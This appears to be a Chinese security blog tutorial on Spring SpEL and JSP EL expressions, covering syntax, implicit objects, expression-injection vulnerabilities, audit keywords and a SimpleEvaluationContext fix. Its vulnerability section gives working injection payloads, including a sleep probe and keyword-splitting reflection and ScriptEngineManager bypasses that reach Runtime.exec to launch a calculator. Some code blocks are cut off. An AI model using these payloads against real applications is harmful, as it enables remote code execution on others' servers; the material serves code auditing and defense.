SpEL&EL表达式简介
Spring 表达式语言 (SpEL) 是一种强大的表达式语言,支持在运行时查询和操作对象图。它可以与 XML 或基于注解的 Spring 配置一起使用。
该语言有几种可用的运算符:
类型 | 运营商 |
---|---|
算术 | +、-、*、/、%、^、div、mod |
关系型 | <, >, ==, !=, <=, >=, lt, gt, eq, ne, le, ge |
逻辑的 | and, or, not, &&, ||, ! |
有条件的 | ?: |
正则表达式 | matches |
SpEL使用#{}
作为界定符,EL使用${}
作为定界符
EL
表达式主要功能如下:
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如
${user==null}
;获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据,EL表达式的隐式对象跟jsp不尽相同
https://docs.oracle.com/javaee/5/tutorial/doc/bnahq.html#bnaij
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pageContext:JSP 页面的上下文。提供对各种对象的访问,包括:
servletContext:JSP 页面的 servlet 和同一应用程序中包含的任何 Web 组件的上下文。请参阅访问 Web 上下文。
session:客户端的会话对象。请参阅维护客户端状态。
request:触发 JSP 页面执行的请求。请参阅从请求中获取信息。
response:JSP 页面返回的响应。请参阅构建响应。
param:将请求参数名称映射到单个值
paramValues:将请求参数名称映射到值数组
header:将请求标头名称映射到单个值
headerValues:将请求标头名称映射到值数组
cookie:将 cookie 名称映射到单个 cookie
initParam:将上下文初始化参数名称映射到单个值
pageScope:将页面范围的变量名称映射到它们的值
requestScope:将请求范围的变量名称映射到它们的值
sessionScope:将会话范围的变量名称映射到它们的值
applicationScope:将应用程序范围的变量名称映射到它们的值调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;
在官方文档中说明了el表达式是如何调用对象的方法和获取/设置属性的
1
2
3
4
5
6
7
8
9
10
11
12
13#调用handler的process方法
${handler.process}
#带参数调用方法
${trader.buy("JAVA")}
#获取customer的name属性
${customer.name}
${customer['name']}
#设置customer的name属性
${customer.name="Tomcat"}
#获取当前ClassLoader,相当于pageContext.getServletContext().getClassLoader()
${pageContext.servletContext.classLoader}
#获取变量
${param.name} 等价于request.getParamter(“name”)在Tomcat中,常用该方法获取Tomcat的ClassLoader来修改某些对象的属性或者调用方法
1
pageContext.getServletContext().getClassLoader()
EL表达式解析启用/禁用
默认为启用,jsp会解析EL表达式,除非配置<%@ page isELIgnored =”true|false” %>,或者是全局pom.xml设置1
2
3
4
5
6<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
SpEL常见用法
使用量表达式
1
2
3
4#{Hello World}
private double add;使用java 代码new/instance of
1
Expression exp = parser.parseExpression("new Spring('Hello World')");
使用T(Type)
T(Type)
用于表示java.lang.Class实例,用于引用常量和静态方法1
parser.parseExpression("T(Integer).MAX_VALUE");
如果Class类型是
java.lang
包下的,直接引用就可以了,其他包则要声明完全路径如org.apache.hack
,etc…获取bean_id
SpEL可以使用
#bean_id
来获取容器内的变量,同时存在两个特殊变量#this
和#root
分别表示当前上下文和容器内的root对象1
2
3
4
5
6
7
8
9
10
11ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0");
context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);
return "";运行结果
EL&SPEL表达式漏洞
漏洞原理
由于在EL表达式或者SPEL表达式解析字符串的过程中会进行解析,因此可以获取jsp环境变量或者命令执行
漏洞代码:
1 |
|
此处对传入的input变量进行表达式解析,造成SPEL表达式注入
payload
EL表达式
1 | //探测 |
SpEL由于可以调用反射,而同时开发人员没有对用户输入尽心进行校验就将其作为SpEL直接执行的话,就会造成SpEL表达式漏洞。
POC
1 | T(Thread).sleep(10000) |
弹计算器结果
SpEL漏洞代码审计关键字
1 | org.springframework.expression.spel.standard |
绕过方法
反射和拆分关键字
1 | T(String).getClass().forName("java.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"calc.exe"}) |
ScriptEngineManager构造
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")} |
SpEL漏洞修复
Spring为SpEL提供了两个不同的接口SimpleEvalutionContext
和StandardEvalutionContext
,StandardEvalutionContext
提供了SpEL所有功能,也是默认接口
因此,可以使用阉割版的SimpleEvalutionContext
作为防御,它支持SpEL语法子集,抛弃了Java类型引用、构造函数及bean引用。
1 | ExpressionParser parser = new SpelExpressionParser(); |
显示无法找到String类,防御成功
参考链接
https://xz.aliyun.com/t/7692#toc-12
《网络安全Java代码审计实战》